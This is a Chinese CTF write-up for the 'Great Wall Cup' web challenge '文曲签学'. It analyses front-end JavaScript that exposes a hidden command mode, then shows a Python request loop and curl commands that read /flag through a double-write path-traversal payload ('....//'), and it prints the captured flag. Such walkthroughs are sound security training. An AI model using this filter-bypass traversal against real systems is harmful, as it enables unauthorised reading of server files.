第五届“长城杯”-web文曲签学

看到题目大概率漏洞在前端js代码
分析js代码
// 元素获取
const fnKey = document.getElementById('fnKey');
const capsKey = document.getElementById('capsKey');
const searchKey = document.getElementById('searchKey');
const clearKey = document.getElementById('clearKey');
const inputBox = document.getElementById('inputBox');
const screenContent = document.getElementById('screenContent');
const debugHint = document.getElementById('debugHint');
const capsHint = document.getElementById('capsHint');
const keys = document.querySelectorAll('.key');
const menuKey = document.getElementById('menuKey');
const backKey = document.getElementById('backKey');
// 状态变量
let debugMode = false;
let isUpperCase = true; // 默认大写
let fnPressTimer = null;
const FN_HOLD_DURATION = 1500; // 长按Fn键激活调试模式的时间(毫秒)
let isMenuActive = false; // 菜单激活状态(true=处于菜单选择中,false=普通输入)
// Fn键长按激活调试模式
fnKey.addEventListener('mousedown', function() {
this.classList.add('key-press');
fnPressTimer = setTimeout(() => {
debugMode = !debugMode;
if (debugMode) {
addScreenMessage("[调试模式已激活]", "text-yellow-300");
debugHint.style.display = 'block';
} else {
addScreenMessage("[调试模式已关闭]", "text-red-400");
debugHint.style.display = 'none';
}
}, FN_HOLD_DURATION);
});
fnKey.addEventListener('mouseup', function() {
this.classList.remove('key-press');
clearTimeout(fnPressTimer);
});
fnKey.addEventListener('mouseleave', function() {
this.classList.remove('key-press');
clearTimeout(fnPressTimer);
});
// 大小写切换功能
capsKey.addEventListener('click', function() {
this.classList.add('key-press');
setTimeout(() => this.classList.remove('key-press'), 100);
isUpperCase = !isUpperCase;
if (isUpperCase) {
this.classList.add('caps-active');
capsHint.style.display = 'block';
addScreenMessage("[大写模式]", "text-red-400");
} else {
this.classList.remove('caps-active');
capsHint.style.display = 'none';
addScreenMessage("[小写模式]", "text-green-400");
}
});
// 字母键点击事件(核心:菜单状态下A/B/C触发选择,其他键正常输入)
keys.forEach(key => {
key.addEventListener('click', function() {
this.classList.add('key-press');
setTimeout(() => this.classList.remove('key-press'), 100);
const keyChar = this.textContent; // 获取当前按键的字符(A/B/C/其他)
// 1. 菜单激活状态:优先处理A/B/C选择
if (isMenuActive) {
if (['A', 'B', 'C'].includes(keyChar)) {
handleMenuSelection(keyChar); // 触发菜单选择逻辑
} else {
// 非A/B/C键提示无效
addScreenMessage(`[无效选择] 请按A/B/C`, "text-red-400");
}
return; // 菜单状态下不执行普通输入
}
// 2. 普通输入状态:处理所有字母键输入
let inputChar = keyChar;
// 根据大小写模式转换字符(#号不转换)
if (!isUpperCase && keyChar !== '#') {
inputChar = inputChar.toLowerCase();
}
inputBox.value += inputChar;
inputBox.focus();
});
});
// 菜单键功能(更新菜单选项为A/B/C)
menuKey.addEventListener('click', function() {
this.classList.add('key-press');
setTimeout(() => this.classList.remove('key-press'), 100);
// 切换菜单状态
if (!isMenuActive) {
isMenuActive = true;
addScreenMessage("[菜单已激活]");
addScreenMessage("A. 天气"); // A对应查词
addScreenMessage("B. 游戏"); // B对应游戏
addScreenMessage("C. 设置"); // C对应设置
inputBox.value = ""; // 清空输入框,避免干扰
} else {
isMenuActive = false;
addScreenMessage("[菜单已关闭]");
addScreenMessage("返回普通输入模式");
}
});
// 核心:处理菜单选择(A/B/C对应不同功能回显)
function handleMenuSelection(key) {
switch(key) {
case "A":
addScreenMessage("> A"); // 回显选择的按键
addScreenMessage("今天天气很好,记得继续保持好心情呀~");
isMenuActive = false; // 选择后自动退出菜单,允许输入单词
break;
case "B":
addScreenMessage("> B");
addScreenMessage("『英雄坛说』加载中...");
addScreenMessage("(抱歉呀,你手里这台98年产的文曲星,还停留在按键敲出清脆声响的年代,2007年的游戏,它还不认识呢~)");
isMenuActive = false;
break;
case "C":
addScreenMessage("> C");
addScreenMessage("当前配置:");
addScreenMessage(" 亮度:50% | 音量:0%");
addScreenMessage("(这台文曲星实在太老啦,按键边缘都磨出了包浆,连基础设置功能都早已歇业,再也调不了背光亮度啦~)");
isMenuActive = false;
break;
default:
addScreenMessage(`> ${key}`);
addScreenMessage("[错误] 请按A/B/C选择", "text-red-400");
}
}
// 返回键功能(菜单状态下按返回键关闭菜单)
backKey.addEventListener('click', function() {
this.classList.add('key-press');
setTimeout(() => this.classList.remove('key-press'), 100);
// 菜单状态下优先关闭菜单
if (isMenuActive) {
isMenuActive = false;
addScreenMessage("[返回] 菜单已关闭");
inputBox.value = "";
return;
}
// 普通状态下删除最后一个字符
if (inputBox.value.length > 0) {
inputBox.value = inputBox.value.slice(0, -1);
} else {
addScreenMessage("[返回上级]");
}
});
// 查词/执行指令功能(保留原有逻辑)
searchKey.addEventListener('click', function() {
this.classList.add('key-press');
setTimeout(() => this.classList.remove('key-press'), 100);
const input = inputBox.value.trim();
if (!input) {
addScreenMessage("请输入内容");
return;
}
addScreenMessage(`> ${input}`);
// 发送请求到后端
fetch('handler.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `action=${debugMode ? 'command' : 'lookup'}&content=${encodeURIComponent(input)}`
})
.then(response => response.text())
.then(data => {
if (data.includes('ERROR:')) {
addScreenMessage(data.replace('ERROR:', ''), 'text-red-400');
} else {
const displayData = data.replace(/\n/g, '<br>');
addScreenMessage(displayData);
}
})
.catch(error => {
addScreenMessage(`请求失败: ${error.message}`, 'text-red-400');
});
});
// 清空功能(清空时关闭菜单)
clearKey.addEventListener('click', function() {
this.classList.add('key-press');
setTimeout(() => this.classList.remove('key-press'), 100);
inputBox.value = '';
// 菜单状态下清空时同步关闭菜单
if (isMenuActive) {
isMenuActive = false;
addScreenMessage("[菜单已关闭] 输入已清空");
} else {
addScreenMessage("已清空输入");
}
});
// 屏幕消息添加函数
function addScreenMessage(message, className = '') {
const p = document.createElement('p');
p.innerHTML = message;
if (className) {
p.className = className;
}
screenContent.appendChild(p);
// 自动滚动到底部
screenContent.scrollTop = screenContent.scrollHeight;
}
// 键盘输入处理(支持键盘A/B/C选择菜单)
document.addEventListener('keydown', function(e) {
// 阻止默认行为,避免重复输入
if (/^[a-z#]$/i.test(e.key) || e.key === 'Backspace' || e.key === 'Enter') {
e.preventDefault();
}
const key = e.key.toUpperCase(); // 统一转为大写处理(兼容大小写输入)
// 菜单状态下,优先处理A/B/C键(键盘输入)
if (isMenuActive && ['A', 'B', 'C'].includes(key)) {
handleMenuSelection(key);
return;
}
// 普通输入状态处理
if (/^[A-Z]$/.test(key)) {
let inputChar = isUpperCase ? key : key.toLowerCase();
inputBox.value += inputChar;
} else if (key === '#') {
inputBox.value += '#';
} else if (e.key === 'Enter') {
searchKey.click();
} else if (e.key === 'Backspace') {
backKey.click(); // 复用返回键逻辑(含菜单关闭)
} else if (e.key === 'Escape') {
clearKey.click(); // 复用清空键逻辑(含菜单关闭)
} else if (e.key === 'CapsLock') {
capsKey.click(); // 同步系统大小写
}
});
可以发现有交互,写一个脚本去测试命令
import requests
url = "https://eci-2ze7eicqyoe450k8jbnb.cloudeci1.ichunqiu.com/handler.php"
while True:
cmd = input("CTF$ ")
if not cmd:
continue
data = {
"action": "command",
"content": cmd
}
r = requests.post(url, data=data, verify=False)
print(r.text)
help可以发现有提示
也可以使用curl
前端 JS 显示
fetch('handler.php', { method: 'POST', headers: {'Content-Type':'application/x-www-form-urlencoded'}, body: 'action=' + (debugMode ? 'command' : 'lookup') + '&content=' + encodeURIComponent(input) })
因此要用 POST、Content-Type: application/x-www-form-urlencoded,并在 body 里发送 action=command&content=...
-H 用来设置自定义 HTTP 请求头
curl -s -X POST "https://eci-2ze7eicqyoe450k8jbnb.cloudeci1.ichunqiu.com/handler.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=command&content=list" | sed -n '1,200p'

输入HINT
看到提示
yeran@SURPRISE:/$ curl -s -X POST "https://eci-2ze7eicqyoe450k8jbnb.cloudeci1.ichunqiu.com/handler.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-raw "action=command&content=read%20HINT"
文件内容:
关注微信公众号“春秋伽玛”回复“文曲旧时光”可获得提示。
提示:
flag在/flag下,可以尝试目录穿越漏洞来读取它。
会过滤“../”,可以使用双写来绕过。
文件名有大小写区分。
curl -s -X POST "https://eci-2zeilxbxek9nvokt087l.cloudeci1.ichunqiu.com:80/handler.php" -H "Content-Type: application/x-www-form-urlencoded" --data-raw "action=command&content=read%20....//....//....//....//flag"
-data-raw把后面给的内容原样当作 HTTP 请求体发送

拿到flag
flag{7f0b3605-a230-4d33-80c7-d48783381429}

浙公网安备 33010602011771号